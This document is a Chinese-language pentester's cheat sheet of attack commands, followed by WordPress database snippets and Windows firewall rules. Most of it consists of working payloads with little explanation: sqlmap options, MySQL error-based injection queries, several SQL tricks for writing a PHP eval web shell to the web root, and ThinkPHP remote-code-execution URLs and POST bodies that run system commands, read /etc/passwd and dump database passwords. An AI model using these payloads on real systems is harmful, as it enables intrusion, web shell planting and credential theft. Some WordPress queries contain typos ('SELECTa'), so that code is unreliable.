笔记

hashcat --stdout d:\Desktop\1.txt -r f:\hashcat\rules\dive.rule -o d:\Desktop\tmp.txt

strings tmp.txt > tmp2.txt

sort -u tmp2.txt > tmp3.txt

sqlmap -u "https://www.mrwu.red/test.php?id=2" -v 3

sqlmap -r /root/desktop/1.txt -v 3

--technique
B : 基于Boolean的盲注（Boolean based blind）

Q : 内联查询（Inline queries）

T : 基于时间的盲注（time based blind）

U : 基于联合查询（Union query based）

E : 基于错误（error based）

S : 栈查询（stack queries）

--delay=3.5 --time-sec=60

--flush-session

--proxy=http://127.0.0.1:1066

--level 3

--tamper=appendnullbyte.py

--test-skip=UNION

--threads=200

--prefix "')" --suffix "#"

--dump --start 1 --stop 3

--batch --smart

sqlmap -d mysql://root:root@127.0.0.1:3306/mysql

select * from test where id=1 and (select 1 from (select count(*),concat(user(),floor(rand(0)*2))x from information_schema.tables group by x)a);

select * from test where id=1 and (extractvalue(1,concat(0x7e,(select user()),0x7e)));

select * from test where id=1 and (updatexml(1,concat(0x7e,(select user()),0x7e),1));

select * from test where id=1 and geometrycollection((select * from(select * from(select user())a)b));

select * from test where id=1 and multipoint((select * from(select * from(select user())a)b));

select * from test where id=1 and polygon((select * from(select * from(select user())a)b));

select * from test where id=1 and multipolygon((select * from(select * from(select user())a)b));

select * from test where id=1 and linestring((select * from(select * from(select user())a)b));

select * from test where id=1 and multilinestring((select * from(select * from(select user())a)b));

select * from test where id=1 and exp(~(select * from(select user())a));

select version();

@@plugin_dir

SHOW VARIABLES LIKE 'plugin_dir';

// 2个表关联之内连接查询

SELECT * FROM `A表` INNER JOIN `B表` ON A表.A字段=B表.B字段;

select '<?php eval($_POST[mrwu]) ?>' into outfile '/var/www/mrwu.php';

select '<?php eval($_POST[mrwu]) ?>' into dumpfile '/var/www/mrwu.php';

Drop TABLE IF EXISTS temp;Create TABLE temp(cmd text NOT NULL);Insert INTO temp (cmd) VALUES('<?php eval($_POST[mrwu]) ?>');Select cmd from temp into outfile '/var/www/mrwu.php';Drop TABLE IF EXISTS temp;

phpmyadmin导入.sql.zip

source /tmp/mrwu.sql

tee /var/www/mrwu.php;select '<?php eval($_POST[mrwu]) ?>';

set global general_log=on;

set global general_log_file='/app/www/cjs_new/web/i.php';

select '<?php eval($_POST[mrwu]) ?>';

aaa'into outfile '/var/www/mrwu.php' fields terminated by '<?php eval($_POST[mrwu]) ?>'#

计划任务、启动项、udf、mof

index/think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=whoami

index/\think\Request/input&filter=phpinfo&data=1

index/think\config/get&name=database.hostname

index/think\config/get&name=database.password

index/\think\Request/input&filter=system&data=id

index/\think\template\driver\file/write&cacheFile=shell.php&content=%3C?php%20phpinfo();?%3E

index/\think\view\driver\Php/display&content=<?php%20phpinfo();?>

index/\think\app/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=1

index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=id

index/\think\Container/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=1

index/\think\Container/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=id

/?s=index/think\Error/appError&errno=1&errstr=1&errline=1&errfile=/etc/passwd

/index.php?s=captcha
POST:
_method=__construct&filter[]=system&method=get&server[REQUEST_METHOD]=whoami
_method=__construct&method=get&filter[]=call_user_func&get[]=phpinfo
_method=__construct&method=get&filter[]=think\__include_file&server[]=-1&get[]=../../../../robots.txt&jltx=echo '123';

call_user_func_array、file_put_contents、assert

Application\Runtime\Logs\Home\16_09_09.log

Runtime\Logs\Home\16_09_09.log

/runtime/log/201905/04.log

/data/runtime/Logs/Admin/18_09_14.log

直接在 index.php 里面加 dump(config('database.password'));

//将下方代码添加到 function.php 文件末尾，然后刷新网站首页，更新完后记得删除或者注释下方代码。

global $wpdb;
$wpdb->query("DELETE FROM wp_options WHERE option_name = 'core_updater.lock'");

print_r($wpdb->queries);

global $wpdb; //调用数据裤全局变量

//1、学会使用insert()方法向数据库中添加数据

$wpdb->insert( $wpdb->prefix . 'xs', array( 'xm' => '大江网络', 'xb' => '男', 'xq' => 'wordpress' ) );

//2、学会使用update()方法更新数据库中的数据

$wpdb->update( $wpdb->prefix . 'xs', array( 'xb' => '男', 'xq' => 'wordpress' ), array( 'xq' => '打豆豆' ) );

//3、学会使用get_var()获取数据库中的数据

$xm = $wpdb->get_var( 'SELECT * FROM `' . $wpdb->prefix . 'xs`' , 3 , 2 );

//4、学会使用query()方法删除数据库中的数据

$wpdb->query( "DELETE FROM `" . $wpdb->prefix . "xs` WHERE `xq` = 'wordpress'" );

//5、学会使用get_results()获取数据库中的数据

$rows = $wpdb->get_results( "SELECTa * FROM `" . $wpdb->prefix . "xs`" , ARRAY_A );
foreach ( $rows as $row ) {
echo $row['xm'] . '';
}

//6、学会使用get_row()获取数据库中的数据

$row = $wpdb->get_row( "SELECTa * FROM `" . $wpdb->prefix . "xs`" , ARRAY_A , 1 );

//7、学会使用show_errors()、print_error()、hide_errors()、last_error调试SQL
$wpdb->print_error();

netsh advfirewall set allprofiles firewallpolicy allowinbound,blockoutbound #阻止所有出网流量

netsh advfirewall firewall add rule name="allowvpn1" dir=out action=allow enable=yes remoteip="VPN外网服务器地址, 192.168.0.0/24" #添加出网规则，只允许指定IP的流量出网

netsh advfirewall firewall add rule name="allowvpnremote1" dir=out action=allow enable=yes localip="VPN分配的内网IP" #连上VPN后只允许VPN分配的内网IP出网